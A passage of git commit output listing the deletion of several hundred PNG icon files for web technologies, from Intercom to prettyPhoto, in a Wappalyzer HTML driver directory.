Wappalyzer/drivers/html/images/icons/Intercom.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Intershop.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Invenio.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ionicons.png delete mode 100644 Wappalyzer/drivers/html/images/icons/JAlbum.png delete mode 100644 Wappalyzer/drivers/html/images/icons/JBoss Application Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/JBoss Web.png delete mode 100755 Wappalyzer/drivers/html/images/icons/JC-HTTPD.png delete mode 100644 Wappalyzer/drivers/html/images/icons/JS Charts.png delete mode 100644 Wappalyzer/drivers/html/images/icons/JTL Shop.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Jalios.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Java Servlet.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Java.png delete mode 100644 Wappalyzer/drivers/html/images/icons/JavaServer Faces.png delete mode 100644 Wappalyzer/drivers/html/images/icons/JavaServer Pages.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Javascript Infovis Toolkit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Jekyll.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Jenkins.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Jetty.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Jirafe.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Jo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/JobberBase.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Joomla.png delete mode 100644 Wappalyzer/drivers/html/images/icons/K2.png delete mode 100644 Wappalyzer/drivers/html/images/icons/KISSmetrics.png delete mode 100755 Wappalyzer/drivers/html/images/icons/KS_HTTP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Kampyle.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Kendo UI.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Kentico CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/KineticJS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Knockout.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Koa.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Koala Framework.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Koego.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Kohana.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Kolibri CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Komodo CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Koobi.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Kooboo CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/LEPTON.png delete mode 100755 Wappalyzer/drivers/html/images/icons/LabVIEW.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Laravel.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Leaflet.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Less.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Liferay.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Lift.png delete mode 100644 Wappalyzer/drivers/html/images/icons/LightMon Engine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Lightbox.png delete mode 100644 Wappalyzer/drivers/html/images/icons/LimeSurvey.png delete mode 100644 Wappalyzer/drivers/html/images/icons/LinkSmart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/LiteSpeed.png delete mode 100644 Wappalyzer/drivers/html/images/icons/LiveJournal.png delete mode 100644 Wappalyzer/drivers/html/images/icons/LiveStreet CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Livefyre.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Lo-dash.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Lockerz Share.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Locomotive.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Lodash.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Logitech Media Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Lotus Domino.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Lua.png delete mode 100644 Wappalyzer/drivers/html/images/icons/M.R. Inc Webserver.png delete mode 100644 Wappalyzer/drivers/html/images/icons/M.R. Inc Wild CMS.png delete mode 100755 Wappalyzer/drivers/html/images/icons/MOBOTIX.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MODx.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Magento.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mambo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MantisBT.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ManyContacts.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Marketo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MathJax.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MaxSite CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MediaElement.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MediaTomb.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MediaWiki.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Meebo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Methode.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Microsoft ASP.NET.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Microsoft HTTPAPI.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Microsoft SharePoint.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MiniBB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MiniServ.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mint.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mixpanel.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mobify.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MochiKit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MochiWeb.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Modernizr.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MoinMoin.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mojolicious.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mollom.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Moment Timezone.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Moment.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mondo Media.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MongoDB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mongrel.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Monkey HTTP Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mono.net.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mono.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MooTools.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Moodle.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Moogo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Motion-httpd.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Movable Type.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Moxa.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mozard Suite.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mura CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mustache.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MyBB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MyBlogLog.png delete mode 100644 Wappalyzer/drivers/html/images/icons/MySQL.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Mynetcap.png delete mode 100644 Wappalyzer/drivers/html/images/icons/NOIX.png delete mode 100644 Wappalyzer/drivers/html/images/icons/NVD3.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Nedstat.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Nepso.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Netmonitor.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Nette Framework.png delete mode 100644 Wappalyzer/drivers/html/images/icons/New Relic.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Nginx.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Nokia Maps.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OXID eShop.png delete mode 100644 Wappalyzer/drivers/html/images/icons/October CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OmniTouch 8660 My Teamwork.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OneStat.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Open AdStream.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Open Journal Systems.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Open Web Analytics.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OpenCart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OpenGSE.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OpenGrok.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OpenLayers.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OpenNemas.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OpenSSL.png delete mode 100644 Wappalyzer/drivers/html/images/icons/OpenText Web Solutions.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ophal.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Optimizely.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Oracle Application Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Oracle Dynamic Monitoring Service.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Oracle HTTP Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Oracle Recommendations On Demand.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Oracle Web Cache.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Outbrain.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Outlook Web App.png delete mode 100644 Wappalyzer/drivers/html/images/icons/PANSITE.png delete mode 100644 Wappalyzer/drivers/html/images/icons/PDF.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/PHP-Fusion.png delete mode 100644 Wappalyzer/drivers/html/images/icons/PHP-Nuke.png delete mode 100644 Wappalyzer/drivers/html/images/icons/PHP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Pagekit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Pardot.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Parse.ly.png delete mode 100644 Wappalyzer/drivers/html/images/icons/PayPal.png delete mode 100644 Wappalyzer/drivers/html/images/icons/PencilBlue.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Percussion.png delete mode 100755 Wappalyzer/drivers/html/images/icons/PerfSONAR-PS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Perl.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Petrojs.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Phaser.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Piano Solo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Piwik.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Planet.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Plentymarkets.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Plesk.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Pligg.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Plone.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Plura.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Po.st.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Polymer.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Posterous.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Powergap.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Prefix-Free.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Prestashop.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Project Wonderful.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Prototype.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Protovis.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Pure CSS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Python.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Quantcast.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Quick.CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Quick.Cart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/RAID HTTPServer.png delete mode 100644 Wappalyzer/drivers/html/images/icons/RBS Change.png delete mode 100644 Wappalyzer/drivers/html/images/icons/RCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/RDoc.png delete mode 100644 Wappalyzer/drivers/html/images/icons/RackCache.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Raphael.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Rapid Logic.png delete mode 100644 Wappalyzer/drivers/html/images/icons/React.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ReallyCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Red Hat.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Reddit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Redmine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Reinvigorate.png delete mode 100644 Wappalyzer/drivers/html/images/icons/RequireJS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Reveal.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/RiteCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/RoundCube.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ruby on Rails.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ruby.png delete mode 100644 Wappalyzer/drivers/html/images/icons/S.Builder.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SAP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SDL Tridion.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SIMsite.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SMF.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SOBI 2.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SPDY.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SPIP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SQL Buddy.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SQLite.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SUSE.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SWFObject.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Saia PCD.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Sarka-SPIP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Scala.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Schneider Web Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Schneider.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Scientific Linux.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Sencha Touch.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Sentinel Keys Server.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Sentinel License Monitor.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Sentinel Protection Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Seoshop.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Serendipity.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Shadow.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ShareThis.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ShinyStat.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Shopalize.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Shopatron.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Shopify.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Shopware.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Silva.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SilverStripe.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SimpleHTTP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Site Meter.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SiteCatalyst.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SiteDNK.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SiteEdit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Sitecore.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Sivuviidakko.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Sizmek.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Skimlinks.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Slimbox 2.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Slimbox.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Smart Ad Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SmartSite.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Smartstore.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Snap.svg.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Snoobi.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SobiPro.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Socket.io.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Solodev.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SoundManager.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Sphinx.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SpiderControl iniNet.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Splunk.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Splunkd.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Spree.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Squarespace.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Squiz Matrix.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Starlet.png delete mode 100644 Wappalyzer/drivers/html/images/icons/StatCounter.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Store Systems.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Stripe.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SublimeVideo.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Subrion.png delete mode 100644 Wappalyzer/drivers/html/images/icons/SunOS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Supersized.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Swiftlet.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Synology DiskStation.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TWiki.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TYPO3 CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TYPO3 Flow.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TYPO3 Neos.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TYPOlight.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Tealeaf.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TeamCity.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Tengine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Textpattern CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TiddlyWiki.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Tiki Wiki CMS Groupware.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Timeline.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Timeplot.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TinyMCE.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Titan.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TomatoCart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TornadoServer.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Trac.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TrackJs.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Tumblr.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Twilight CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TwistPHP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TwistedWeb.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Twitter Bootstrap.png delete mode 100644 Wappalyzer/drivers/html/images/icons/TypePad.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Typekit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/UIKit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/UNIX.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ubercart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ubuntu.png delete mode 100644 Wappalyzer/drivers/html/images/icons/UltraCart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Umbraco.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Underscore.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/UserRules.png delete mode 100644 Wappalyzer/drivers/html/images/icons/UserVoice.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ushahidi.png delete mode 100644 Wappalyzer/drivers/html/images/icons/VIVVO.png delete mode 100644 Wappalyzer/drivers/html/images/icons/VP-ASP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Vanilla.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Varnish.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Veoxa.png delete mode 100644 Wappalyzer/drivers/html/images/icons/VideoJS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/VigLink.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Vignette.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Vimeo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Virata EmWeb.png delete mode 100644 Wappalyzer/drivers/html/images/icons/VirtueMart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Visual WebGUI.png delete mode 100644 Wappalyzer/drivers/html/images/icons/VisualPath.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Volusion.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Vox.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Vue.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/W3 Total Cache.png delete mode 100644 Wappalyzer/drivers/html/images/icons/W3Counter.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WP Rocket.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Web Optimizer.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Web2py.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WebGUI.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WebPublisher.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Webix.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WebsPlanet.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Websale.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WebsiteBaker.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Webtrekk.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Webtrends.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Weebly.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WikkaWiki.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Windows CE.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Windows Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Wink.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Winstone Servlet Container.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Wix.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Wolf CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WooCommerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Woopra.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WordPress Super Cache.png delete mode 100644 Wappalyzer/drivers/html/images/icons/WordPress.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Wowza Media Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/X-Cart.png delete mode 100755 Wappalyzer/drivers/html/images/icons/XAMPP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/XMB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/XOOPS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/XRegExp.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Xajax.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Xanario.png delete mode 100644 Wappalyzer/drivers/html/images/icons/XenForo.png delete mode 100755 Wappalyzer/drivers/html/images/icons/XiTi.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Xitami.png delete mode 100644 Wappalyzer/drivers/html/images/icons/YUI Doc.png delete mode 100644 Wappalyzer/drivers/html/images/icons/YUI.png delete mode 100644 Wappalyzer/drivers/html/images/icons/YaBB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Yahoo Advertising.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Yahoo! Ecommerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Yahoo! Web Analytics.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Yandex.Direct.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Yandex.Metrika.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Yieldlab.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Yii.png delete mode 100644 Wappalyzer/drivers/html/images/icons/YouTube.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ZK.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ZURB Foundation.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Zabbix.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Zanox.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Zen Cart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Zend.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Zepto.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Zeuscart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Zinnia.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Zope.png delete mode 100644 Wappalyzer/drivers/html/images/icons/amCharts.png delete mode 100644 Wappalyzer/drivers/html/images/icons/basket.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/cPanel.png delete mode 100644 Wappalyzer/drivers/html/images/icons/cgit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/comScore.png delete mode 100755 Wappalyzer/drivers/html/images/icons/debut.png delete mode 100644 Wappalyzer/drivers/html/images/icons/default.png delete mode 100644 Wappalyzer/drivers/html/images/icons/dwhttpd.png delete mode 100644 Wappalyzer/drivers/html/images/icons/e107.png delete mode 100644 Wappalyzer/drivers/html/images/icons/eDevice SmartStack.png delete mode 100644 Wappalyzer/drivers/html/images/icons/eHTTP.png delete mode 100755 Wappalyzer/drivers/html/images/icons/eSyndiCat.png delete mode 100644 Wappalyzer/drivers/html/images/icons/eZ Publish.png delete mode 100644 Wappalyzer/drivers/html/images/icons/flask.png delete mode 100644 Wappalyzer/drivers/html/images/icons/git.png delete mode 100644 Wappalyzer/drivers/html/images/icons/gitweb.png delete mode 100644 Wappalyzer/drivers/html/images/icons/gunicorn.png delete mode 100644 Wappalyzer/drivers/html/images/icons/iCongo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/iWeb.png delete mode 100644 Wappalyzer/drivers/html/images/icons/io4-CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/jQTouch.png delete mode 100644 Wappalyzer/drivers/html/images/icons/jQuery Mobile.png delete mode 100644 Wappalyzer/drivers/html/images/icons/jQuery Sparklines.png delete mode 100644 Wappalyzer/drivers/html/images/icons/jQuery UI.png delete mode 100644 Wappalyzer/drivers/html/images/icons/jQuery.png delete mode 100644 Wappalyzer/drivers/html/images/icons/jqPlot.png delete mode 100644 Wappalyzer/drivers/html/images/icons/libwww-perl-daemon.png delete mode 100644 Wappalyzer/drivers/html/images/icons/lighttpd.png delete mode 100644 Wappalyzer/drivers/html/images/icons/math.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/mini_httpd.png delete mode 100755 Wappalyzer/drivers/html/images/icons/mod_auth_pam.png delete mode 100644 Wappalyzer/drivers/html/images/icons/mod_fastcgi.png delete mode 100755 Wappalyzer/drivers/html/images/icons/mod_jk.png delete mode 100755 Wappalyzer/drivers/html/images/icons/mod_perl.png delete mode 100644 Wappalyzer/drivers/html/images/icons/mod_python.png delete mode 100644 Wappalyzer/drivers/html/images/icons/mod_rack.png delete mode 100644 Wappalyzer/drivers/html/images/icons/mod_rails.png delete mode 100644 Wappalyzer/drivers/html/images/icons/mod_ssl.png delete mode 100644 Wappalyzer/drivers/html/images/icons/mod_wsgi.png delete mode 100644 Wappalyzer/drivers/html/images/icons/node.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/nopCommerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/openEngine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/osCSS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/osCommerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ownCloud.png delete mode 100644 Wappalyzer/drivers/html/images/icons/papaya CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/phpAlbum.png delete mode 100644 Wappalyzer/drivers/html/images/icons/phpBB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/phpCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/phpDocumentor.png delete mode 100644 Wappalyzer/drivers/html/images/icons/phpMyAdmin.png delete mode 100644 Wappalyzer/drivers/html/images/icons/phpPgAdmin.png delete mode 100644 Wappalyzer/drivers/html/images/icons/phpSQLiteCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/phpwind.png delete mode 100644 Wappalyzer/drivers/html/images/icons/prettyPhoto.png 